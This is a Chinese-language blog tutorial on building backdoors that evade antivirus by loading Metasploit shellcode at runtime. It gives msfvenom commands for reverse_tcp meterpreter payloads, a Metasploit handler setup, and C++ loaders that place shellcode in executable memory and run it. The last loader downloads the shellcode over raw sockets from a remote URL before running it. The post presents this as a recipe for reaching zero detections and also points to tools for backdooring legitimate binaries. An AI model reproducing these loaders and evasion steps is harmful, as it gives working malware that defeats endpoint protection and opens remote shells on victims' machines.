天天看點

動态加載 ShellCode繞過殺軟

反病毒解決方案用于檢測惡意檔案,并且通常使用靜态分析技術來區分二進制檔案的好壞。如果是惡意檔案本身包含惡意内容(ShellCode),那麼依靠靜态分析技術會非常有效,但如果攻擊者使用輕量級的stager來代替下載下傳并将代碼加載到記憶體中,會發生什麼?事實證明這樣做可以繞過大多數殺軟的清除。

雖然這種繞過方法并不是新鮮技術,但繞過反病毒軟體對于大多數後門來說都是必要的,在這篇文章中,我們将使用virscan作為我們的檢測工具,并使用Metasploit生成一些反向的ShellCode作為我們的攻擊載荷。通過使用virscan雲鑒定技術,可以衡量出Payload的是否免殺,但需要注意的是,隻有動态檢測或基于行為的檢測,才能真正捕獲到現實世界中的Payload。

首先我們使用 msfvenom 指令建立一個具有反向連接配接Shell的可執行檔案,生成指令(Linux)如下:

[root@localhost ~]#  msfvenom –p windows/meterpreter/reverse_tcp \
>                               lhost=192.168.1.30 lport=8888 \
>                               -f exe -o lyshark.exe
           

上方的代碼就可以生成一個lyshark.exe的可執行檔案,将此檔案上傳到VirusTotal,發現它會被大量反病毒引擎所清除,這是正常的,因為它是一個常見的Payload,許多安全廠商都會針對Metasploit進行特征碼的提取與清除。

嵌入式 Shellcode

通過上方的方式生成後門檔案是不可取的,因為大多數反病毒廠商都掌握了Metasploit可執行模闆的簽名,是以我們決定建立自己的可執行檔案,然後手動實作 ShellCode的加載工作。我們再次使用 msfvenom 指令,但在這次隻生成 ShellCode,而不是完整的可執行檔案:

[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 -f c
           

上方代碼會生成一個Payload有效載荷,這裡我們需要記下來,然後将ShellCode複制到一個單獨的C++源檔案中,然後編譯生成一個可執行檔案。

#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv){
	char ShellCode[] = "\0x0x0x0x0x0x0x......";            // ShellCode 填充到這裡。
	
	void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, ShellCode, sizeof ShellCode);
	((void(*)())exec)();
	return 0;
}
           

生成成功後,我們将攻擊主機運作一個監聽事件,然後打開生成後的後門,然後發現能夠成功上線。

[root@localhost ~]# msfconsole 
msf5 > 
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z
           

但是這種方式也是會直接被檢測到,原因是ShellCode已經被加入了特征,接下來我們将通過遠端的方式加載ShellCode代碼,讓惡意代碼與加載器分離。

動态加載 ShellCode繞過殺軟

遠端加載 Shellcode

上方的掃描結果依然會報毒,原因就是ShellCode已經被捕捉了特征,這裡我們将動态加載ShellCode。它不是使用已編寫到二進制檔案中的ShellCode編譯可執行檔案,而是在運作時動态擷取ShellCode代碼,并将其動态的加載到記憶體中執行,進而做到ShellCode與加載器的分離,減少誤報的機率。

#include <Windows.h>
#include <iostream>
#include <string>
#include <cstring>
#include <winhttp.h>
#include <stdlib.h>
#pragma comment(lib,"winhttp.lib")
using namespace std;

LPSTR get_shellcode(){

	return 0;
}

int main(int argc,char **argv){
	LPSTR hex_instructions = get_shellcode();
	const char* ShellCode = hex_instructions;
	int shellcode_length = strlen(ShellCode);

	unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length / 2; count++){
		sscanf(ShellCode, "%2hhx", &value[count]);
		ShellCode += 2;
	}

	void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, value, shellcode_length /2 );
	((void(*)())exec)();
	return 0;
}
           

上方代碼中建立了一個名為get_shellcode()函數,用于從另一台主機遠端下載下傳前面示例中使用的ShellCode。該函數使用winhttp庫中的各種方法,通過HTTP的方式檢索ShellCode。此外,當從遠端位置以ASCII格式加載ShellCode時,需要執行額外步驟,要将指令轉換為準備執行的原始二進制格式,這裡的get_shellcode()并沒有填充完整。

動态加載 ShellCode繞過殺軟

本次殺毒,你會發現誤報全部消失了,因為在可執行檔案中并沒有惡意的ShellCode,并且也沒有添加任何的下載下傳函數,但如果添加了下載下傳函數,此種方法生成的後門依然會存在誤報。

替代檔案下載下傳功能

盡管我們已經分離除了程式中的 ShellCode代碼,但有些防毒軟體仍然會報毒。為了獲得0命中率,我們要思考,在這一過程遺漏了什麼 ?

我們需要重新思考,首先要确定代碼的哪個部分導緻了告警。從直覺上,懷疑是函數 VirtualAlloc 和 memcpy 導緻反病毒引擎認為該檔案是可疑的,因為這些函數通常被用于記憶體注入。但是很多程式都會在記憶體中配置設定空間,是以這種猜測本身就是不正确的,實際上HTTP請求調用的函數可以獲得遠端托管的ShellCode,進而導緻可疑的結果。通常我們會使用的函數是:

WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle
           

但是這些函數,很容易就被殺軟盯上,但幸運的是,Windows 提供了許多不同的庫,可用于下載下傳資料,例如WinInet,WinHTTP和Windows套接字。通過切換到更加手動的基于套接字的實作 ,如果使用這些第三方庫或使用系統自帶的下載下傳指令,則任何防病毒引擎都不再将下載下傳代碼标記為可疑。

void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
           

然後将其與先前示範的shellcode加載過程相結合。

#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <cstring>
using std::string;
#pragma comment(lib,"ws2_32.lib")

HINSTANCE hInst;
WSADATA wsaData;
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);

int main(){
	const int bufLen = 1024;
	char *szUrl = "lyshark.com/shellcode";
	long fileSize;
	char *memBuffer, *headerBuffer;
	FILE *fp;
	memBuffer = headerBuffer = NULL;

	if (WSAStartup(0x101, &wsaData) != 0){
		return -1;
	}

	memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
	if (fileSize != 0)
	{
		fp = fopen("down.file", "wb");
		fwrite(memBuffer, 1, fileSize, fp);
		fclose(fp);
		delete(headerBuffer);
	}
	int code_length = strlen(memBuffer);
	unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));

	for (size_t count=0; count < code_length / 2; count++){
		sscanf(memBuffer, "%2hhx", &value[count]);
		memBuffer += 2;
	}

	void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, value, code_length / 2);
	((void(*)())exec)();
	WSACleanup();
	return 0;
}
           

最終的有效負載成功地向偵聽主機發送了反向shell,更重要的是,VirScan上的檢測率為零,本文所采取的步驟,展示了如何通過一些簡單的修改,來使Payload繞過殺軟的清除。然而,我們還可以選擇許多其他選項,包括:

  1. 在已知合法的二進制檔案中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
  2. 使用Veil(https://github.com/Veil-Framework/Veil)進行Payload的編碼和加密。
  3. 使用其他語言,例如:PowerShell、Python、Ruby、C#、Java、Go等。

參考文獻:https://countercept.com/blog/dynamic-shellcode-execution

文章出處:

https://www.cnblogs.com/LyShark/p/11335999.html

版權聲明:

本部落格文章與代碼均為學習時整理的筆記,部落格中除去明确标注有參考文獻的文章,其他文章

[均為原創]

作品,轉載請

[添加出處]

,您添加出處是我創作的動力!

如果您惡意轉載本人文章并被本人發現,則您的整站文章,将會變為我的原創作品,請互相尊重 !